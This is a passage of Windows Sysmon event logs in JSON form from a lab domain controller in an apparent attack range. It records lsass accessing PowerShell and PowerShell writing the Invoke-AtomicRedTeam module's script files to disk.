{90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4140-5F2D-0000-0010159A0600}\r\nTargetProcessId: 3656\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:44.241","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4140-5F2D-0000-0010159A0600}","TargetProcessId":"3656","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:45","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:44","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4634,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:44.241\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4140-5F2D-0000-0010159A0600}\r\nTargetProcessId: 3656\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1478\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:44.241","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4140-5F2D-0000-0010159A0600}","TargetProcessId":"3656","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1478","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:45","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:46","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4635,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:45.991\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\AtomicRedTeam\\tmp\\invoke-atomicredteam-master\\Private\\AtomicClassSchema.ps1\r\nCreationUtcTime: 2020-08-07 11:55:45.991","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:55:45.991","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\AtomicRedTeam\\tmp\\invoke-atomicredteam-master\\Private\\AtomicClassSchema.ps1","CreationUtcTime":"2020-08-07 11:55:45.991","EventReceivedTime":"2020-08-07 11:55:47","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:46","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4636,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:45.991\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\AtomicRedTeam\\tmp\\invoke-atomicredteam-master\\Private\\Get-PrereqExecutor.ps1\r\nCreationUtcTime: 2020-08-07 11:55:45.991","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:55:45.991","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\AtomicRedTeam\\tmp\\invoke-atomicredteam-master\\Private\\Get-PrereqExecutor.ps1","CreationUtcTime":"2020-08-07 11:55:45.991","EventReceivedTime":"2020-08-07 11:55:47","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:46","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4637,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:45.991\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\AtomicRedTeam\\tmp\\invoke-atomicredteam-master\\Private\\Get-TargetInfo.ps1\r\nCreationUtcTime: 2020-08-07 11:55:45.991","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:55:45.991","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\AtomicRedTeam\\tmp\\invoke-atomicredteam-master\\Private\\Get-TargetInfo.ps1","CreationUtcTime":"2020-08-07 11:55:45.991","EventReceivedTime":"2020-08-07 11:55:47","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:46","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4638,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:46.006\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\AtomicRedTeam\\tmp\\invoke-atomicredteam-master\\Private\\Invoke-CheckPrereqs.ps1\r\nCreationUtcTime: 2020-08-07 11:55:46.006","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:55:46.006","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\AtomicRedTeam\\tmp\\invoke-atomicredteam-master\\Private\\Invoke-CheckPrereqs.ps1","CreationUtcTime":"2020-08-07 11:55:46.006","EventReceivedTime":"2020-08-07 11:55:47","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:46","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4639,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:46.006\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\AtomicRedTeam\\tmp\\invoke-atomicredteam-master\\Private\\Invoke-ExecuteCommand.ps1\r\nCreationUtcTime: 2020-08-07 11:55:46.006","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:55:46.006","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\AtomicRedTeam\\tmp\\invoke-atomicredteam-master\\Private\\Invoke-ExecuteCommand.ps1","CreationUtcTime":"2020-08-07 11:55:46.006","EventReceivedTime":"2020-08-07 11:55:47","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:46","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4640,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:46.006\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\AtomicRedTeam\\tmp\\invoke-atomicredteam-master\\Private\\Invoke-KillProcessTree.ps1\r\nCreationUtcTime: 2020-08-07 11:55:46.006","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:55:46.006","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\AtomicRedTeam\\tmp\\invoke-atomicredteam-master\\Private\\Invoke-KillProcessTree.ps1","CreationUtcTime":"2020-08-07 11:55:46.006","EventReceivedTime":"2020-08-07 11:55:47","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:46","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4641,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:46.006\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\AtomicRedTeam\\tmp\\invoke-atomicredteam-master\\Private\\Invoke-Process.ps1\r\nCreationUtcTime: 2020-08-07 11:55:46.006","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:55:46.006","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\AtomicRedTeam\\tmp\\invoke-atomicredteam-master\\Private\\Invoke-Process.ps1","CreationUtcTime":"2020-08-07 11:55:46.006","EventReceivedTime":"2020-08-07 11:55:47","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:46","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4642,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:46.006\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\AtomicRedTeam\\tmp\\invoke-atomicredteam-master\\Private\\Replace-InputArgs.ps1\r\nCreationUtcTime: 2020-08-07 11:55:46.006","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:55:46.006","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\AtomicRedTeam\\tmp\\invoke-atomicredteam-master\\Private\\Replace-InputArgs.ps1","CreationUtcTime":"2020-08-07 11:55:46.006","EventReceivedTime":"2020-08-07 11:55:47","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:46","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4643,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:46.006\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\AtomicRedTeam\\tmp\\invoke-atomicredteam-master\\Private\\Show-Details.ps1\r\nCreationUtcTime: 2020-08-07 11:55:46.006","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:55:46.006","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\AtomicRedTeam\\tmp\\invoke-atomicredteam-master\\Private\\Show-Details.ps1","CreationUtcTime":"2020-08-07 11:55:46.006","EventReceivedTime":"2020-08-07 11:55:47","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:46","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4644,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:46.006\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\AtomicRedTeam\\tmp\\invoke-atomicredteam-master\\Private\\Write-ExecutionLog.ps1\r\nCreationUtcTime: 2020-08-07 11:55:46.006","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:55:46.006","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\AtomicRedTeam\\tmp\\invoke-atomicredteam-master\\Private\\Write-ExecutionLog.ps1","CreationUtcTime":"2020-08-07 11:55:46.006","EventReceivedTime":"2020-08-07 11:55:47","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:46","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4645,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:46.006\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\AtomicRedTeam\\tmp\\invoke-atomicredteam-master\\Private\\Write-KeyValue.ps1\r\nCreationUtcTime: 2020-08-07 11:55:46.006","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:55:46.006","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\AtomicRedTeam\\tmp\\invoke-atomicredteam-master\\Private\\Write-KeyValue.ps1","CreationUtcTime":"2020-08-07 11:55:46.006","EventReceivedTime":"2020-08-07 11:55:47","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:46","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4646,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:46.006\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\AtomicRedTeam\\tmp\\invoke-atomicredteam-master\\Private\\Write-PrereqResults.ps1\r\nCreationUtcTime: 2020-08-07 11:55:46.006","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:55:46.006","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\AtomicRedTeam\\tmp\\invoke-atomicredteam-master\\Private\\Write-PrereqResults.ps1","CreationUtcTime":"2020-08-07 11:55:46.006","EventReceivedTime":"2020-08-07 11:55:47","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:46","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4647,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:46.022\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\AtomicRedTeam\\tmp\\invoke-atomicredteam-master\\Public\\Get-AtomicTechnique.ps1\r\nCreationUtcTime: 2020-08-07 11:55:46.022","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:55:46.022","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\AtomicRedTeam\\tmp\\invoke-atomicredteam-master\\Public\\Get-AtomicTechnique.ps1","CreationUtcTime":"2020-08-07 11:55:46.022","EventReceivedTime":"2020-08-07 11:55:47","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:46","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4648,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:46.022\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\AtomicRedTeam\\tmp\\invoke-atomicredteam-master\\Public\\Invoke-AtomicTest.ps1\r\nCreationUtcTime: 2020-08-07 11:55:46.022","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:55:46.022","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\AtomicRedTeam\\tmp\\invoke-atomicredteam-master\\Public\\Invoke-AtomicTest.ps1","CreationUtcTime":"2020-08-07 11:55:46.022","EventReceivedTime":"2020-08-07 11:55:47","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:46","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4649,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:46.022\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\AtomicRedTeam\\tmp\\invoke-atomicredteam-master\\Public\\Invoke-MalDoc.ps1\r\nCreationUtcTime: 2020-08-07 11:55:46.022","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:55:46.022","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\AtomicRedTeam\\tmp\\invoke-atomicredteam-master\\Public\\Invoke-MalDoc.ps1","CreationUtcTime":"2020-08-07 